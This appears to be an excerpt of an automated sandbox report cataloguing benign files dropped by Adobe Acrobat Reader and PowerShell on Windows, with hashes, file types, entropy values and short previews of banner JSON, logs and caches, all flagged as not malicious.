SHA-512:	6F8AFB747C11388BD4688347EB8B6EFC597CB35E4D4E1B04E71988A561A87C90975D30BE26FBFF5FC33D067A7D70FA7D0FDEB30C2EF773D5E96A095A6D073C4E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.316387219285741
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfzdPeUkwRe9:YvXKXUZnEZc0vADnGb8Ukee9
MD5:	51E897224052E454096DFD116286F951
SHA1:	516327567C387FA0A088E0C0C6DD410F3A1F48DF
SHA-256:	FC15BAA047D92E300818B8F8721777FD9825B36D9DA7ED19F51466B55FE86976
SHA-512:	C6710CF901711790BDD707C7824C3E632C9B3A630253C4C73C6B8F7D1C2D0CAA0B4EC2B488967C1277DE85FAEA5CCA9659AF5E900608970433EDD7564E9FF7FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.297509505339069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfYdPeUkwRe9:YvXKXUZnEZc0vADnGg8Ukee9
MD5:	DEFCC8AB47709B1A69487E3507EEFA3F
SHA1:	EC162BD461F7A1F14DB1FB34C5577AA0E81B2828
SHA-256:	A999D59580FD84D7B890054947B211A1E01FD6EA8CBE7C59E609EB65A103A5D5
SHA-512:	C664DCC08C445DC9F9E9C4E999D9F5E4E647166FB1E09DB4300820B230499D71DF86BBE45DE63D398399E6A41CBCC13BEDF66B9748ACFDBA508F8B1D017A2F67
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.283815022352595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJf+dPeUkwRe9:YvXKXUZnEZc0vADnG28Ukee9
MD5:	70DE3C176BB13BA75F2881B5E8BFEAB7
SHA1:	22A601D3BC3599FA84D0FBBD43F83D7B125FAA4B
SHA-256:	0344E5F77A7839FBBD3252CAA6B61E3FB81EA306BC8BEE51F699602950407E6B
SHA-512:	EC83E7ABE409B74728E3B56B1ED112E6B895C51886D2479E047FC1A319780C55DA6479A8E48B6B14C9CA9B86C3E285E0BE592245F43D4386DFF1D23C566A216D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.281073719814726
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfbPtdPeUkwRe9:YvXKXUZnEZc0vADnGDV8Ukee9
MD5:	8DBF5D93329658AC48C98B7CC4EE0662
SHA1:	7AF0B28940DE22AC3EC2F4AFBA0EA4431C632C49
SHA-256:	B3B438F63742FDB4DC872869A535D48E1F4555B8B71B3D9BB5DA8425A27CF44D
SHA-512:	ABFCCA43A4C896E28C9AC511E1E1F916B748E56905348C4166302F6349F72870E4555CDCC89E501256217EEC03A923C1EF8897B1C69B1582CF785C6C0E9B24E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.2862659770390135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJf21rPeUkwRe9:YvXKXUZnEZc0vADnG+16Ukee9
MD5:	10E74C60D0B116E769F9FA3317E7CDCF
SHA1:	DD8A191DE262476D293A9ED8BDADC062C5FD8F57
SHA-256:	13815DADD4EDD7D32B105D2979DC3778DFAB6DCA0F5A5AD75F5B274707168B8B
SHA-512:	BDA987DE5DBAC5A981C1BFBE839C7637FBBDE2A7CA256A5A6C37D4B073D6269CA2FEEA3F62635CE3730D66FA4B3A2D36859B192C83C71CF340755DCAA75F541B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.662194601505437
Encrypted:	false
SSDEEP:	24:Yv6XkEzvAMamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSt1:YvfM4qBgkDMUJUAh8cvMj
MD5:	F76D9B89743B002F10BE9ED4688CAB39
SHA1:	ED09D52230999C2D1D7719C32661208587C542A2
SHA-256:	4CCD60A4E4A707838DE326F4AFB923DAACA9958D9CFBD2C5513F68D91213B44A
SHA-512:	6CF3383DE50BD23562ED8432C2417F6E1880F1486C3C20398D53B1DE7D24F9122C2D963E1E43B816CE1C51DA976DB4041F09445027B91A1D7448E60C2E5F70BB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261323277559813
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJfshHHrPeUkwRe9:YvXKXUZnEZc0vADnGUUUkee9
MD5:	B3F747846D9C198757C9467EB9D12377
SHA1:	EA3BEA9F79E419185C01E0907C5639BEA2227622
SHA-256:	51EC732F3E376CB680843AE415B06F22B8893FA8460D7DF38DEA8BF581276EB4
SHA-512:	26E976E0A2F05090E91667EA453000F441F640B0523590C4D507564ED97E68D97EC319DB36758CCC10BC448DC41FE36AF2EFC65CC3850C6BDA5F687B9B0821DF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.274044217925367
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSOUIan9VoZcg1vRcR0Y7DUoAvJTqgFCrPeUkwRe9:YvXKXUZnEZc0vADnGTq16Ukee9
MD5:	0437C3B8060B0B24F09B72E984AC8C6A
SHA1:	12DF0B6EF737234CE7D7C8A312CA88C85AEDB0ED
SHA-256:	0F6CDE174C2D9DADE21D25FE5F3F6ACCAC09FDE08ABAAE505D701C1B99C89893
SHA-512:	0A718786B789BF2FF1D18E782DA84A88B56F8CB9B2B76EE94FE0E28E1183B679712FB9F4D1AF894086CD0AFE433E05E252BB15AC5190DD3A82425B5FC25AFB8D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"362fc237-eabb-42ae-8ff8-bf1a4ad44c9d","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736757239326,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.135810700588765
Encrypted:	false
SSDEEP:	24:YfBlmvaI4aykPV2L6nbc4vKq2Rs8Zj9j0SrJ7L2Yp+d2LSVCUGcgFgMJ92Lw5G96:YfBlSYMbZyhRBfVeXHGcgFgML28Y96
MD5:	89681297168E4F29437B365F265CE1DF
SHA1:	45A4C6189735837AE4560281C32E6D354CADFEAD
SHA-256:	F726B5211FFEF0D9C6CFEA877462A586362AF7DB08CACDA9D2107BEC153F55EA
SHA-512:	BBED50CF8E6E977254129423A78AB74F9FDA48D1EE4CB54C523404A89C99844B5A2238FB21058D15A1831494F1A4A03E1511A593AA3452865423B457BAF7FFBD
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"f7b40a3a5451abe185b8a4f10ae86f09","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736579684000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"c201305d593cada1100e6ab5f9369bdd","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736579684000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"607b2184d052311e82a507e470d791db","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736579684000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"995715db3f3e6c71654526c3bd7dd17a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736579684000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"f7ee757153e05e89a61bed43a91360d3","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736579684000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"75205ed594398d6e27938e5c9cf7e8d7","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.188654518015512
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU2DESvR9H9vxFGiDIAEkGVvpyDK:lNVmswUUUUUUUU2DE+FGSIt2DK
MD5:	89A78239A6AFD45EC61F5E0338DA34C1
SHA1:	07CC2DCBC37C2E3351A066B191AB4D913FC02106
SHA-256:	BBDEAEEE125769F1FA030EA63DB4C5348D522DCB641F2E0C2336C8BB8CBD4D17
SHA-512:	D53A2A168105B5A2A6234DC321B2D9A383A6148952BB2D17688D0ADAA777A5ED7A68CDD7BE9D9D06A65E596E163BA4A78757450F414AAD6698DCE9936168C8DB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6059313839184157
Encrypted:	false
SSDEEP:	48:7MZKUUUUUUUUUU2DGvR9H9vxFGiDIAEkGVv5qFl2GL7msP:7LUUUUUUUUUU2DqFGSItTKVmsP
MD5:	DAC7C0DD252484F351FA92BBCFFB6E39
SHA1:	7DCAAC0EF696EC3538B676502D1F94E532CA0A8E
SHA-256:	04B4B145A7667BA65C353D7061D92DF9FEBE0ADB6B7E3619E99841DAE99E6E3B
SHA-512:	A14202164037F7246DAFB80869548CA2B5FC6FF2B1CC45AB193A05A3D475649AD6F4F928475C1B0BBFB4734B8AA97958832336248994E44B92874E2BFCC6663D
Malicious:	false
Preview:	.... .c......f........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg8XIGR7uoDCUFWUGzSB3ZgrYyu:6a6TZ44ADEKIGR7uoDvZOK
MD5:	C0E69D7D95BD171103D603AA52D9A422
SHA1:	B7DCC37F7A6695ED0735D0327DF82D27493B9C03
SHA-256:	BE2B1B9F03407B1BEF6B470A2635980C1FA209F78BE32251221BC6F0645E6867
SHA-512:	E9AF194411E4085A7E8EC93D7284F2164299A770947981F4A54130BA0AE79C68973D4BC3BA71489D851570B8A084B2686619D75F93F38D608D2E6825325E6000
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllultnxj:NllU
MD5:	F93358E626551B46E6ED5A0A9D29BD51
SHA1:	9AECA90CCBFD1BEC2649D66DF8EBE64C13BACF03
SHA-256:	0347D1DE5FEA380ADFD61737ECD6068CB69FC466AC9C77F3056275D5FCAFDC0D
SHA-512:	D609B72F20BF726FD14D3F2EE91CCFB2A281FAD6BC88C083BFF7FCD177D2E59613E7E4E086DB73037E2B0B8702007C8F7524259D109AF64942F3E60BFCC49853
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIb2c45.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClElJYH:Qw946cPbiOxDlbYnuRKdBJYH
MD5:	F6A065EE951B500BB587F6B89D21CA30
SHA1:	6C1A83DF6676F92BA9D59DF206E911C41C9E9DDF
SHA-256:	4D9E6F8A61E75AF21081B43D2013E51CFD772A6B20D9FEC90DBDABBEB4D9BDDF
SHA-512:	2F17E7DDD7059C3998DFC256A5033F5D00A28C106E12464098E6A9B20FFCCF9F2B661CFD1246C92094C6033C93B6B568B93267E5FCE8A08AAB1F0F6A42FC1CEB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.1.4.:.5.0. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_iqqpxdo5.akl.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j4dz2ipt.vau.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-14-40-448.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.381610020038354
Encrypted:	false
SSDEEP:	384:46zFxFEF5FnUWUzXUOUJU7U+mU/UeUmUIX/mkmwIOIKIhJ1JAJ/J3hvAvYvOocoz:3/7
MD5:	381A5B1B789E09EB23FAB19477B86942
SHA1:	B13938F741FA2B738B505A545867DA0FDFB6BA3F
SHA-256:	D4C44C1FA87E764163A11C03521D91609B412B9D1CDC0B9EF3584A5F211D56C2
SHA-512:	D9711B8C30E1A3DEFEFFDE3C2904175AF85E39AD21C6E6023832B4914C3D38C53D57306C10B4B02A0780BA5B2F5B32120F675B16FEE9747668DA5C89986A4ACD
Malicious:	false
Preview:	SessionID=3b7af737-eca3-496b-8cf6-53db08f5cefc.1736579680465 Timestamp=2025-01-11T02:14:40:465-0500 ThreadID=6028 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=3b7af737-eca3-496b-8cf6-53db08f5cefc.1736579680465 Timestamp=2025-01-11T02:14:40:466-0500 ThreadID=6028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=3b7af737-eca3-496b-8cf6-53db08f5cefc.1736579680465 Timestamp=2025-01-11T02:14:40:466-0500 ThreadID=6028 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=3b7af737-eca3-496b-8cf6-53db08f5cefc.1736579680465 Timestamp=2025-01-11T02:14:40:466-0500 ThreadID=6028 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=3b7af737-eca3-496b-8cf6-53db08f5cefc.1736579680465 Timestamp=2025-01-11T02:14:40:466-0500 ThreadID=6028 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.381910253084307
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rQ:c
MD5:	EB4D0D080582719B59942078603EA532
SHA1:	E8E2F74D5F2D2FAE93D737F931D3155EC9993216
SHA-256:	1FC2EEC82FAC4A1C2C09EC8F24E5374F82945E260A3758053C72490654D18C4B
SHA-512:	A85E594C43AE26688AEFE394D78890C1BF89BFA675B3EEF1C8DB7D012DB8C43821394BE1205C7EC4B0CA4EB7307A9B3FA3CAD6B9AF2D473C7390CCD82408D566
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\6c643657-86b1-42cf-80f7-c0790414d37f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
